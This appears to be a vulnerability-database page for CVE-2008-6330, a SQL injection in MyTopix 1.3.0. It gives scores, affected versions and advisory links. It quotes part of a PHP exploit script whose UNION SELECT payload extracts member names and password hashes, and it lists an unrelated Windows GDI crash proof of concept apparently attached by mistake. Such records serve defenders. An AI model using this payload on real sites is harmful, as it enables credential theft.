CVE-2008-6330
published 2009-02-27CVE-2008-6330: SQL injection vulnerability in index.php in MyTopix 1.3.0 and earlier allows remote authenticated users to execute arbitrary SQL commands via the send…
PriorityP434medium6.5CVSS 2.0
AVNACLAuSCPIPAP
EXPLOIT
EPSS
0.88%
54.6th percentile
SQL injection vulnerability in index.php in MyTopix 1.3.0 and earlier allows remote authenticated users to execute arbitrary SQL commands via the send parameter in a notes action.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| jaia_interactive | mytopix | <= 1.3.0 | — |
| jaia_interactive | mytopix | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
MyTopix 1.3.0 - SQL Injection
exploitdb·2008-11-19
CVE-2008-6330 MyTopix 1.3.0 - SQL Injection
MyTopix 1.3.0 - SQL Injection
---
evil = '';
$this -> socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$this -> inj = '-1+UNION+SELECT+concat(members_name,0x3a,members_pass)+FROM+my_members+WHERE+members_id=2--';
}
private function send($packet)
{
if(!$this -> socket) $this -> socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($this -> socket, gethostbyname($this -> host), 80) or die("[-] Couldn't connect with specified host\r\n");
socket_write($this -> socket, $packet, strlen($packet)) or die("[-] Couldn't send requrested packet\r\n");
while($resp = socket_read($this -> socket, 2048)) $output .= $resp;
socket_shutdown($this -> socket, 2);
socket_close($this -> socket);
unset($this -> socket);
return $output;
}
public function target($host, $path)
{
$this -
Exploit-DB
Microsoft Windows - GDI (CreateDIBPatternBrushPt) Heap Overflow (PoC)
exploitdb·2008-08-29
CVE-2008-1083 Microsoft Windows - GDI (CreateDIBPatternBrushPt) Heap Overflow (PoC)
Microsoft Windows - GDI (CreateDIBPatternBrushPt) Heap Overflow (PoC)
---
CreateDIBPatternBrushPt Heap Overflow DOS
By Ac!dDrop
This was tested on
Windows XP Sp2
GDI32.dll 5.1.2600.3099
Internet explorer 6.0.2900.2180
Causes Explorer.exe to crash.
and causes Internet explorer to close silently.
This is work in progress , i am still trying to make it run arbitary code.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6330.rar (2008-EMF_DOS.rar)
# milw0rm.com [2008-08-29]
No writeups or analysis indexed.
http://secunia.com/advisories/32788http://www.securityfocus.com/bid/32362http://www.vupen.com/english/advisories/2008/3215https://exchange.xforce.ibmcloud.com/vulnerabilities/46741https://www.exploit-db.com/exploits/7160http://secunia.com/advisories/32788http://www.securityfocus.com/bid/32362http://www.vupen.com/english/advisories/2008/3215https://exchange.xforce.ibmcloud.com/vulnerabilities/46741https://www.exploit-db.com/exploits/7160
2009-02-27
Published